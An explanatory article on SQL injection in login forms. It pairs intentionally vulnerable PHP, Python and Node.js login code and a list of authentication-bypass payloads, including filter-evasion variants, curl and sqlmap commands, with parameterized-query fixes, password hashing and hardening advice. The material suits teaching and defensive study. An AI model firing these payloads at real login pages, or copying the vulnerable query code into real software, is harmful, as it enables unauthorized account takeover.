Login forms are one of the oldest and most abused attack surfaces in web applications. They sit at the intersection of user input, database queries, session creation, and authorization logic—exactly the kind of place where a small coding mistake can become a full authentication bypass. SQL injection in login flows is a classic example: if user-controlled input is concatenated into a SQL query, an attacker may be able to turn “check my password” into “log me in anyway.” This article breaks down how login-form SQL injection works, what authentication bypass payloads actually do, why some apps are still vulnerable, and—most importantly—how to fix the problem properly.

Why login forms are such a high-value target

A login endpoint typically takes two pieces of untrusted input:

  • username
  • password

The application then checks those values against records in a database. If the code builds SQL unsafely, the attacker can alter the query logic itself.

A naïve implementation often looks like this:

sql
SELECT * FROM users
WHERE username = '<user_input>'
AND password = '<password_input>';

If the app simply pastes raw input into that statement, it is not just comparing values anymore—it is allowing the user to write part of the SQL program.

That is the essence of SQL injection.

In a login context, the goal is usually one of these:

  • bypass authentication entirely
  • log in as another user
  • force the query to return the first account in the table
  • probe the database for information using errors or timing

Authentication bypass is especially dangerous because it can lead directly to:

  • unauthorized access to user accounts
  • admin takeover
  • exposure of sensitive data
  • pivoting into deeper application functionality

The vulnerable pattern

Here is a deliberately insecure PHP example:

php
<?php
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT id, username, role FROM users
        WHERE username = '$username'
        AND password = '$password'";

$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    $_SESSION['authenticated'] = true;
    $_SESSION['user'] = mysqli_fetch_assoc($result);
    header("Location: /dashboard.php");
} else {
    echo "Invalid credentials";
}
?>

The vulnerability is not “the login form.” The vulnerability is the string concatenation.

If the attacker controls the SQL syntax, they can modify the WHERE clause. That means they may be able to make the condition always true.

How authentication bypass works

Suppose the application builds this query:

sql
SELECT id, username, role FROM users
WHERE username = '<username>'
AND password = '<password>';

An attacker enters the following into the username field:

text
' OR '1'='1

And anything in the password field, such as:

text
irrelevant

The resulting SQL becomes:

sql
SELECT id, username, role FROM users
WHERE username = '' OR '1'='1'
AND password = 'irrelevant';

This may or may not work as intended depending on operator precedence and database behavior. A more reliable payload often uses a comment sequence to ignore the rest of the query.

For example:

text
' OR 1=1 -- 

Resulting query:

sql
SELECT id, username, role FROM users
WHERE username = '' OR 1=1 -- '
AND password = 'irrelevant';

Everything after -- is treated as a comment in many SQL dialects, so the password check is removed. The effective condition becomes:

sql
WHERE username = '' OR 1=1

Since 1=1 is always true, the query returns one or more rows. If the app treats “any row returned” as successful authentication, the attacker gets in.

Understanding the comment syntax

Comment syntax matters, and it varies by database:

  • MySQL:
    • -- requires a trailing space in many contexts
    • # also works as a comment
    • /* ... */ works for block comments
  • PostgreSQL:
    • -- for line comments
    • /* ... */ for block comments
  • SQL Server:
    • --
    • /* ... */

Examples:

text
' OR 1=1 -- 
' OR 1=1 #
' OR 1=1 /*

Attackers often try several variants because payload behavior depends on:

  • SQL dialect
  • whitespace handling
  • how the server appends quotes
  • whether the app trims input

A more realistic vulnerable login example

Consider this Python Flask code using string formatting:

python
from flask import request, session, redirect
import sqlite3

def login():
    username = request.form["username"]
    password = request.form["password"]

    conn = sqlite3.connect("app.db")
    cur = conn.cursor()

    query = f"SELECT id, username, role FROM users WHERE username = '{username}' AND password = '{password}'"
    cur.execute(query)
    user = cur.fetchone()

    if user:
        session["user_id"] = user[0]
        session["role"] = user[2]
        return redirect("/dashboard")

    return "Invalid credentials", 401

An attacker submits:

text
username: admin' -- 
password: whatever

The query becomes:

sql
SELECT id, username, role FROM users
WHERE username = 'admin' -- '
AND password = 'whatever'

The database sees only:

sql
SELECT id, username, role FROM users
WHERE username = 'admin'

If the user admin exists, the app may log the attacker in as that account without needing the password.

This is often more reliable than OR 1=1, because it targets a specific known username.

Common authentication bypass payloads

These payloads are shown for defensive education and lab use only. Never test them against systems you do not own or have explicit permission to assess.

Basic tautology payload

text
' OR 1=1 -- 

Purpose:

  • turns the WHERE clause into an always-true condition
  • comments out the password check

String-based tautology

text
' OR 'a'='a' -- 

Purpose:

  • useful when the query expects string expressions
  • same idea as 1=1

Username-specific bypass

text
admin' -- 

Purpose:

  • bypasses the password check for a known account
  • often more deterministic than broad tautologies

Parenthesized variant

text
' OR ('1'='1') -- 

Purpose:

  • can help with certain query structures or filters

MySQL comment variant

text
' OR 1=1 #

Purpose:

  • uses MySQL’s # comment syntax

Block comment variant

text
' OR 1=1 /*

Purpose:

  • useful where line comments are filtered or broken

Why some payloads fail

Junior testers often wonder why a classic payload works on one app but not another. Common reasons include:

Operator precedence

This query:

sql
WHERE username = '' OR 1=1 AND password = 'x'

does not always behave like:

sql
WHERE (username = '' OR 1=1) AND password = 'x'

In SQL, AND usually binds more tightly than OR. So the actual logic may be:

sql
WHERE username = '' OR (1=1 AND password = 'x')

That can still fail if the password does not match. Comments often fix this by cutting off the rest of the query.

Input sanitization that is incomplete

Some apps escape single quotes in one field but not another. Others filter keywords like OR but forget comments, mixed case, encodings, or alternate syntax.

Weak blacklist example:

python
if "or" in username.lower():
    reject()

Bypasses might include:

text
' O/**/R 1=1 -- 
' || 1=1 -- 

The exact bypass depends on the database and parser behavior.

Different query structure

Not every app uses the same SQL. For example:

sql
SELECT * FROM users
WHERE username = '<u>'
AND password_hash = SHA2('<p>', 256);

Injection may still exist, but the payload needs to account for the surrounding syntax.

The application checks more than “row exists”

Some applications perform additional logic after the query:

  • compare returned username to input
  • verify account status
  • require MFA
  • validate role or tenant constraints

SQL injection is still serious, but the bypass may need to be more targeted.

Demonstrating the issue in a lab

A minimal test environment can make the problem concrete. Here is an intentionally vulnerable Node.js example.

Vulnerable Express login route

javascript
const express = require("express");
const sqlite3 = require("sqlite3").verbose();
const bodyParser = require("body-parser");
const session = require("express-session");

const app = express();
const db = new sqlite3.Database("app.db");

app.use(bodyParser.urlencoded({ extended: false }));
app.use(session({
  secret: "dev-secret",
  resave: false,
  saveUninitialized: false
}));

app.post("/login", (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  const query = `SELECT id, username, role FROM users
                 WHERE username = '${username}'
                 AND password = '${password}'`;

  db.get(query, (err, row) => {
    if (err) {
      return res.status(500).send("Database error");
    }

    if (row) {
      req.session.user = row;
      return res.send(`Logged in as ${row.username} (${row.role})`);
    }

    res.status(401).send("Invalid credentials");
  });
});

app.listen(3000, () => console.log("Listening on :3000"));

Test with curl

A normal login attempt:

bash
curl -i -X POST http://localhost:3000/login \
  -d "username=alice&password=wrongpass"

An authentication bypass attempt:

bash
curl -i -X POST http://localhost:3000/login \
  --data-urlencode "username=admin' -- " \
  --data-urlencode "password=doesnotmatter"

Or a tautology payload:

bash
curl -i -X POST http://localhost:3000/login \
  --data-urlencode "username=' OR 1=1 -- " \
  --data-urlencode "password=x"

If successful, the response may indicate a valid session was created even though no legitimate password was supplied.

What happens under the hood

Most login bypasses exploit one flawed assumption:

“If the query returns a row, the credentials must be valid.”

That assumption only holds if the query itself is trustworthy. Once input alters the query logic, a returned row no longer proves authentication.

A lot of vulnerable code effectively does this:

  1. build SQL with string concatenation
  2. execute it
  3. if any row comes back, create a session

That means the database becomes the single gatekeeper—and the attacker is allowed to rewrite the gatekeeper’s rules.

Beyond basic bypass: targeting the first row

A common consequence of OR 1=1 is that the database returns the first matching row according to its execution plan. In many apps, that first row may be:

  • the first inserted user
  • an admin account
  • a service account
  • arbitrary, depending on indexes and optimizer behavior

That makes broad tautology payloads dangerous but also somewhat unpredictable.

More targeted payloads are often used in real attacks:

text
admin' -- 
administrator' -- 
root' -- 

If the attacker knows or can guess a valid username, bypassing only the password check is cleaner and more reliable.

Error-based clues during testing

Even when a bypass does not succeed immediately, SQL errors can reveal injection opportunities.

Examples of suspicious responses:

  • You have an error in your SQL syntax
  • Unclosed quotation mark after the character string
  • near "'": syntax error
  • database stack traces in debug mode

A simple probing input:

text
'

If a single quote causes a server error, that is often a strong sign the application is embedding input directly into SQL.

Another probe:

text
'--

or

text
' /*

If the response changes significantly, you may be affecting query structure.

How automated tools approach this

In authorized assessments, tools like sqlmap can help confirm and exploit injection points. For a POST-based login form, a tester might use:

bash
sqlmap -u "http://target.local/login" \
  --data="username=admin&password=test" \
  -p username \
  --risk=2 --level=3

Important note: only use this in a lab or with explicit authorization.

For login endpoints, testers often focus on:

  • whether the parameter is injectable
  • whether boolean-based or error-based techniques work
  • whether the injection leads to authentication bypass or data extraction

That said, understanding the manual logic is critical. If you do not understand why ' OR 1=1 -- works, tool output will only take you so far.

The right defense: parameterized queries

The real fix is not blacklisting quotes, not regex filtering OR, and not “escaping better” as a primary strategy.

The real fix is:

  • parameterized queries / prepared statements
  • proper password hashing
  • least-privilege database access
  • safe error handling
  • defense-in-depth monitoring

Secure Python example

python
from flask import request, session, redirect
import sqlite3
import bcrypt

def login():
    username = request.form["username"]
    password = request.form["password"]

    conn = sqlite3.connect("app.db")
    cur = conn.cursor()

    cur.execute("SELECT id, username, password_hash, role FROM users WHERE username = ?", (username,))
    user = cur.fetchone()

    if user and bcrypt.checkpw(password.encode(), user[2].encode()):
        session["user_id"] = user[0]
        session["role"] = user[3]
        return redirect("/dashboard")

    return "Invalid credentials", 401

Why this is safe:

  • the SQL query uses a placeholder (?) instead of string concatenation
  • user input is treated as data, not executable SQL
  • passwords are not stored in plaintext
  • password verification happens in application code against a hash

Secure Node.js example

javascript
app.post("/login", (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  db.get(
    "SELECT id, username, password_hash, role FROM users WHERE username = ?",
    [username],
    async (err, row) => {
      if (err) {
        return res.status(500).send("Database error");
      }

      if (!row) {
        return res.status(401).send("Invalid credentials");
      }

      const bcrypt = require("bcrypt");
      const ok = await bcrypt.compare(password, row.password_hash);

      if (!ok) {
        return res.status(401).send("Invalid credentials");
      }

      req.session.user = {
        id: row.id,
        username: row.username,
        role: row.role
      };

      res.send(`Logged in as ${row.username}`);
    }
  );
});

Why escaping alone is not enough

Many developers learn “escape single quotes” and assume the problem is solved. That is dangerous.

Why escaping is insufficient as a primary defense:

  • different databases have different escaping rules
  • character encodings can complicate assumptions
  • developers are inconsistent across code paths
  • dynamic query fragments like ORDER BY, LIMIT, or table names are not solved by simple escaping
  • homegrown sanitization is brittle

Prepared statements are safer because they separate code from data at the database driver level.

Password storage matters too

Even if you fix SQL injection, storing plaintext passwords is still a disaster waiting to happen.

Do this instead:

  • use bcrypt, scrypt, Argon2, or PBKDF2
  • store only password hashes, never raw passwords
  • use a unique salt per password
  • compare hashes using the library’s verification function

Bad:

sql
SELECT * FROM users WHERE username = 'alice' AND password = 'secret123';

Better:

  1. fetch user by username with a parameterized query
  2. verify the supplied password against the stored hash in application code

This pattern also simplifies login logic and reduces the chance of dangerous SQL composition.

Additional hardening measures

Parameterized queries are the foundation, but good security stacks controls.

Use least-privilege database accounts

The application’s DB user should not be able to:

  • drop tables
  • create users
  • access unrelated schemas
  • perform admin operations

If injection happens, limited privileges reduce blast radius.

Normalize error messages

Do not expose raw SQL errors to users.

Bad:

text
SQL syntax error near '' OR 1=1 --'

Better:

text
Login failed

Detailed errors should go to logs, not to the browser.

Add rate limiting and monitoring

Authentication endpoints should have:

  • rate limiting
  • alerting on repeated failed attempts
  • logging of suspicious input patterns
  • WAF or reverse-proxy protections where appropriate

These controls do not fix injection, but they improve detection and resilience.

Validate input, but don’t rely on it

Input validation is useful for usability and hygiene:

  • usernames may be limited to certain character sets
  • length limits should be enforced
  • malformed requests can be rejected early

But validation is not a substitute for parameterization.

Red flags in code review

When reviewing authentication code, watch for these patterns:

php
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
python
query = f"SELECT * FROM users WHERE username = '{u}' AND password = '{p}'"
javascript
const q = "SELECT * FROM users WHERE username='" + user + "' AND password='" + pass + "'";
java
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

If you see string concatenation in SQL, stop and investigate.

Also watch for these architectural smells:

  • plaintext password comparisons in SQL
  • custom escaping functions
  • dynamic SQL assembled from request parameters
  • database errors returned to clients
  • login success based solely on “row exists”

A safe mental model for developers

Here is the mindset shift that prevents a lot of pain:

  • user input is never SQL
  • the database should never parse user input as part of query structure
  • authentication should not depend on database-side plaintext password comparison
  • every login path should be designed as if hostile input is guaranteed

If you follow that model, classic login bypass payloads become inert strings instead of dangerous syntax.

Final takeaways

SQL injection in login forms is old-school, but it is not obsolete. It still shows up in internal tools, rushed prototypes, legacy apps, and code written by developers who know just enough SQL to be dangerous. Authentication bypass works because the application mistakes a manipulated query result for proof of identity.

The attack pattern is simple:

  1. inject into a vulnerable SQL query
  2. alter or remove the password check
  3. force the query to return a user row
  4. let the application create a session

The defense pattern is just as clear:

  1. use prepared statements everywhere
  2. store password hashes, not plaintext passwords
  3. verify passwords in application code
  4. minimize database privileges
  5. hide detailed SQL errors
  6. monitor authentication endpoints

If you remember one thing, make it this: a login form is not secure because it asks for a password. It is secure because the code behind it treats input as data, never as executable SQL. That difference is what separates “invalid credentials” from “welcome, admin.”